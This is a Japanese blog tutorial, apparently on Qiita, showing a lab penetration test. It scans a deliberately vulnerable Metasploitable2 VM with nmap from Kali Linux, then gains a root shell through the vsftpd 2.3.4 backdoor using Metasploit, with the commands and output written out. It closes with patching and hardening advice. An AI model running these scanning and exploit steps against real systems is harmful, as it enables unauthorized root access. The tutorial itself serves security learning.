31
31

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

Kali LinuxのMetasploitで脆弱性を突いたペネトレーションテスト

Last updated at Posted at 2019-08-06

 Metasploitという世界では有名なペネトレーションツールを利用して、脆弱性が含まれたツールを持つサーバを攻撃、遠隔操作する事例を紹介します。
 攻撃用のサーバ、Kali LinuxはデフォルトでMetasploitを使用することができます。程度にもよりますが、深刻な脆弱性を持ったツールを使っていることの恐さがわかると思います。

 ※念の為、こういったものを悪用するのは犯罪です。利用するのは自己責任でお願いいたします。

・Kali Linux
・Metasploit

前提

Kali Linux実行環境があること。
Virtual BoxにKali Linuxインストール
metasploitable実行環境があること。
⇒以下参照。

環境について

今回ターゲットとなるサーバにはmetasploitableというものを使います。
脆弱性が含まれたサーバでMetasploitの動作テストに使われます。
以下リンクでVMDKが含まれたZIPファイルがダウンロードできるのでVirtualBoxなどに設定して立ち上げます。
・metasploitable2 - download

・ネットワーク
ネットワークアドレス: 172.20.10.0/28

・サーバ: IP
Kali Linux (攻撃者): 172.20.10.13
Metasploitable(ターゲット): 172.20.10.5

ポートスキャン(nmap)

まずKaliでポートスキャンをしてローカルネットワーク内のホストIPを検索します。

root@kali:~# nmap -sP 172.20.10.0/28
Starting Nmap 7.70 ( https://nmap.org ) at タイムスタンプ JST
Nmap scan report for 172.20.10.1
Host is up (0.0029s latency).
MAC Address: B2:DD:5D:D2:49:64 (Unknown)
Nmap scan report for 172.20.10.2
Host is up (0.00020s latency).
MAC Address: 90:61:AE:ED:ED:BF (Intel Corporate)
Nmap scan report for 172.20.10.5
Host is up (0.00043s latency).
MAC Address: 08:00:27:C7:B3:9A (Oracle VirtualBox virtual NIC)
Nmap scan report for 172.20.10.13
Host is up.
Nmap done: 16 IP addresses (4 hosts up) scanned in 3.95 seconds

自分以外に172.20.10.5というIPがあることがわかります。
そして以下コマンドで172.20.10.5をポートスキャンします。

nmap -sV -O -p- 172.20.10.5

※オプションについて
-p- 1~65535番までのポートを対象とするに
-sV各ポートのサービスのバージョン表示
-O ターゲットのOSを特定

実行すると以下のように表示されます。

root@kali:~# nmap -sV -O -p- 172.20.10.5
Starting Nmap 7.70 ( https://nmap.org ) at タイムスタンプ JST
Nmap scan report for 172.20.10.5
Host is up (0.00025s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
35896/tcp open  rmiregistry GNU Classpath grmiregistry
37623/tcp open  nlockmgr    1-4 (RPC #100021)
40375/tcp open  status      1 (RPC #100024)
60835/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 08:00:27:C7:B3:9A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.23 seconds

 ここでは21番のvsftpd2.3.4と445番のsmbd、またVNCも怪しそうです。
CVE DetailsExploit-DBでvsftpd2.3.4を検索すると、Backdoor Command Executionという脆弱性があることがわかります。
 内容としては、:)を含むユーザ名でFTPにログインするとポート6200にバックドアが開き、
そのためポート6200(TCP)にアクセスすることでvsftpdの実行権限で任意のコマンドを実行できるというものです。
 またExploit-DBの検索結果のリンクから、脆弱性を突くためのファイルもダウンロードできますが、今回既にKali Linuxでvsftpd_234_backdoortというファイルで用意されています。
 その内容も21番で:)を含むユーザ名を入力し6200でバックドアから侵入する内容です。
キャプチャ2.PNG

Metasploitでvsftpdのバックドアを利用

metasplot起動

msfconsole

以下のようなコンソールに切り替わります。
キャプチャ.PNG

vsftpd_234_backdoorを指定

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor

ターゲット設定

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.20.10.5

vsftpd_234_backdoor実行にあたり情報を表示

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.20.10.5      yes       The target address range or CIDR identifier
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic

実行

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 172.20.10.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.20.10.5:21 - USER: 331 Please specify the password.
[+] 172.20.10.5:21 - Backdoor service has been spawned, handling...
[+] 172.20.10.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.20.10.13:43587 -> 172.20.10.5:6200) at タイムスタンプ +0900

プロンプトが返ってこないので操作しにくいですがroot権限なのでほとんどのことができます。

whoami
root
pwd
/

ここで前回記事に上げた辞書式攻撃でのパスワード解析や、SSHについての情報が取得され、
またポート3306がオープンでしていたのでMySQLのユーザ、パスワードも知られた場合、深刻な被害、情報漏洩にもなります。またrootを奪取された場合ログを消去、改ざんされてしまいます。

対策

 ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策(パッチ適用など)。CVEなどの情報を定期的に収集していること。
また不要なポートは開けないのと、改ざん検知システムの導入なども効果があると思います。

関連記事

・Kali LinuxでJohn The Ripper,hydraによるパスワード解析
・Kali LinuxでDVWAを使いSQLインジェクション体験
・Kali Linuxを使いMACアドレスを偽装
・Kali LinuxでWebクローニングを使いログイン情報取得

31
31
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
31
31

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?